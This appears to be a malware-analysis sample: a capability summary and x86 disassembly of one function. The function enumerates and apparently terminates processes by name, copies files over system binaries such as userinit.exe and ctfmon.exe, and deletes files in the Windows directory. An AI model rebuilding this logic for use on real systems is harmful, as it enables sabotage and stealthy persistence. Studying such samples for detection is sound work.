Function at 0x403a47
Capabilities:
Copy file
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
mov dword [ebp - 8], 0
cmp dword [0x417578], 0
je 0x403a72
cmp dword [0x4173d4], 0
je 0x403a72
cmp dword [0x4173e4], 0
jne 0x403a81
push 0x7f
call dword [sym.imp.KERNEL32.DLL_SetLastError]
xor eax, eax
jmp 0x403d02
push 0
push 2
call dword [0x417578]
mov dword [ebp - 4], eax
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [0x4173d4]
test eax, eax
je 0x403b4b
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [0x4173e4]
test eax, eax
je 0x403b4b
push 0x5c
lea ecx, [ebp - 0x114]
push ecx
call fcn.0040c940
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403aed
lea edx, [ebp - 0x114]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x403aff
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x403b46
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx*4 + 0x415158]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x403b44
mov ecx, dword [ebp - 0x130]
push ecx
call fcn.00401c30
add esp, 4
cmp eax, 1
jne 0x403b44
mov edx, dword [ebp - 0x130]
push edx
call fcn.00403337
add esp, 4
jmp 0x403af6
jmp 0x403ab1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [ebp - 0x10], 0
push 0x104
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x4151d0
lea edx, [ebp - 0x340]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x340]
push eax
push str.ctfmon.exe
push 0x4110b0
push SysReAllocString
call fcn.00401afd
add esp, 0x10
push 0x104
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.dllcacheuserinit.exe
lea edx, [ebp - 0x340]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x41103c
lea ecx, [ebp - 0x23c]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x340]
push edx
call fcn.00401f51
add esp, 4
cmp eax, 1
jne 0x403c18
push 0
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
jmp 0x403c68
push 0x104
lea edx, [ebp - 0x340]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x41104c
lea eax, [ebp - 0x340]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
lea ecx, [ebp - 0x340]
push ecx
call fcn.00401f51
add esp, 4
cmp eax, 1
jne 0x403c68
push 0
lea edx, [ebp - 0x23c]
push edx
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0x104
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x41104c
lea edx, [ebp - 0x340]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0x104
lea ecx, [ebp - 0x340]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x411078
lea edx, [ebp - 0x340]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.____Update__ver_6.8____
call fcn.004032ee
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00403d06
add esp, 4
push SysReAllocString
call fcn.00403d06
add esp, 4
call fcn.004042cd
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov esp, ebp
pop ebp
ret